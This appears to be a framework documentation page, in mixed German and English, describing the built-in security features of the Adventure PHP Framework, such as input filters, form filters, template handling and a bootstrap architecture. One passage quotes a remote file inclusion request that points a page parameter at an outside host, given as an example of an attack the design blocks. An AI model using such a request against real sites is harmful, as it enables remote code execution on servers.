Security

Das Thema Sicherheit ist in einer Zeit der freien Verfügbarkeit von Daten, unzähligen Bot-Netzen und SPAM-Versand ein aus Web-Anwendungen nicht mehr wegzudenken. Hierbei spielt nicht nur der rechtliche Hintergrund eine große Rolle, sondern auch die Sicherheit und Stabilität der Hosting-Systeme ist direkt von der Sicherheit und der Stabilität der Applikationen abhängig. Aus diesem Grund ist es unerlässlich, dass die eingesetzten Tools oder Frameworks bereits secury and stable by design sind.

Die folgende Liste zeigt Features des APF auf, die bereits out-of-the-box für Sicherheit sorgen:

  • Input and output filters
    As of the 1.5 relase, the framework possesses generic input and output filters, that are executed on page or front controller startup to safeguard user input (GET and POST). This generates a kind of "basic security" and increases the security of an application compared to other tools explicitly .
    Since the 1.9 branch, the input and output filters can be influenced by the developer. Hence, you can now write special input filters for special cases to safeguard your application so much better.

  • Form filters
    As of the 1.9 branch, filters can also be applied to text fields within APF forms. This enables you to secure your application on dedicated places (e.g. login form) and avoid SQL injection by filtering problematical characters or escape sequences.

  • Konfiguration:
    Konfigurationsaufgaben werden konsequent über den configurationManager gezogen. Dieser verwendet keine Parameter aus dem REQUEST und wird nur über die Applikation selbst verwendet. So werden XSS-Attacken schon vom Design her nicht möglich!

  • URL-Layout:
    Das URL-Layout muss einem definierten Schema entsprechen. Mögliche XSS-Lücken fallen daher bei Verwendung der Komponenten LinkHandler und FrontcontrollerLinkHandler dadurch auf, dass eine URL nicht geparst werden kann und die genannten Komponenten einen Fehler anzeigen.

  • Templates:
    Der PageController verarbeitet Templates nicht wie viele andere Frameworks als PHP-Skripten. PHP-Code, der evtl. durch XSS-Lücken eingeschleust werden kann - sollte die auf dem Framework aufsetzende Software derartige Lücken aufweisen - wird daher nicht ausgeführt, sondern lediglich zur Anzeige gebracht.

  • Bootstrap-Architektur:
    Durch die Bootstrap-Architektur (=alle Requests werden über eine zentrale Datei abgewickelt) können Anfragen wie /content.php?seite=http://casts.150m.com/expo/expo1? keinen Schaden anrichten.

  • Steuerparameter:
    Steuerparameter in URLs, die direkt auf das Inkludieren von Templates Einfluss haben greifen nicht direkt und unkontrolliert auf das Dateisystem durch, sondern gelten nur in einem definierten Namespace. Wird ein Template nicht gefunden, so wird ein Applikationsfehler angezeigt, was das Auslesen von System-Dateien nicht möglich macht. Steuerparameter in FrontController-Actions werden zusätzlich über eine Konfiguration abstrahiert und greifen nicht direkt auf Filesystemressourcen zu.


Analysen zum Thema XSS und Sicherheit können im Artikel Hacking & das APF oder im Forum unter http://forum.adventure-php-fra...p?f=5&t=21 nachgelesen werden. Das Dokument PHPSec.pdf beinhaltet weitere Informationen zum Thema PHP-Sicherheit.


Kommentare

Möchten Sie den Artikel eine Anmerkung hinzufügen, oder haben Sie ergänzende Hinweise? Dann können Sie diese hier einfügen. Die bereits verfassten Anmerkungen und Kommentare finden Sie in der untenstehenden Liste.
Für diesen Artikel liegen aktuell keine Kommentare vor.